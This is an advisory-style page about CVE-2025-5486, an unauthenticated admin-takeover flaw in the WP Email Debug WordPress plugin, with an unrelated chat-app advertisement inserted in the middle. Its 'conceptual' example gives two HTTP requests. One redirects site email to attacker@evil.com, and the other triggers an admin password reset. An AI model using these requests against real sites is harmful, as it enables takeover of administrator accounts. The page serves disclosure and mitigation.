Overview
The Common Vulnerabilities and Exposure (CVE) system has recently identified a severe vulnerability labelled CVE-2025-5486. This vulnerability is present in the WP Email Debug plugin for WordPress, widely used for inspecting and debugging the emails sent by WordPress. The vulnerability affects versions 1.0 to 1.1.0 of the plugin and can potentially lead to a system compromise or data leakage.
The severity of this vulnerability is underscored by the fact that it allows unauthenticated attackers to gain administrative privileges by bypassing security controls. In an era where digital information is a precious commodity, any breach or misuse of administrative privileges could have disastrous consequences for businesses and individuals alike.
Vulnerability Summary
CVE ID: CVE-2025-5486
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
WP Email Debug plugin for WordPress | 1.0 to 1.1.0
How the Exploit Works
The WP Email Debug plugin for WordPress is vulnerable due to a missing capability check in the WPMDBUG_handle_settings() function. This absence of a crucial security control allows unauthenticated attackers to enable debugging and send all emails to an address of their choosing.
The attacker can then trigger a password reset for an administrator. The password reset email is captured by the attacker, allowing them to reset the admin password and gain unauthorized access to the administrator account. This access can then be leveraged to compromise the system or leak sensitive data.
Conceptual Example Code
Below is a conceptual example of how this vulnerability might be exploited. This pseudocode demonstrates how an attacker could potentially use the WPMDBUG_handle_settings() function to redirect emails and trigger a password reset.
POST /wp-admin/admin-ajax.php?action=wpmdbug_handle_settings HTTP/1.1
Host: target.wordpresssite.com
Content-Type: application/x-www-form-urlencoded
{
"debug_email": "attacker@evil.com",
"enable_debug": "true"
}
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target.wordpresssite.com
Content-Type: application/x-www-form-urlencoded
{
"user_login": "admin",
"redirect_to": "",
"wp-submit": "Get New Password"
}In the above example, the attacker first enables the debug mode and redirects all outgoing emails to their own email address. Following this, they trigger a password reset for the admin account. The reset email is sent to the attacker’s email address, granting them the ability to reset the admin password and gain control of the account.
Mitigation and Prevention
To prevent potential system compromise or data leakage, it is recommended to apply the vendor patch as soon as it becomes available. In the interim, organizations can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation strategy. Additionally, monitoring for suspicious activity and enhancing internal security controls can also help in mitigating the risks posed by this vulnerability.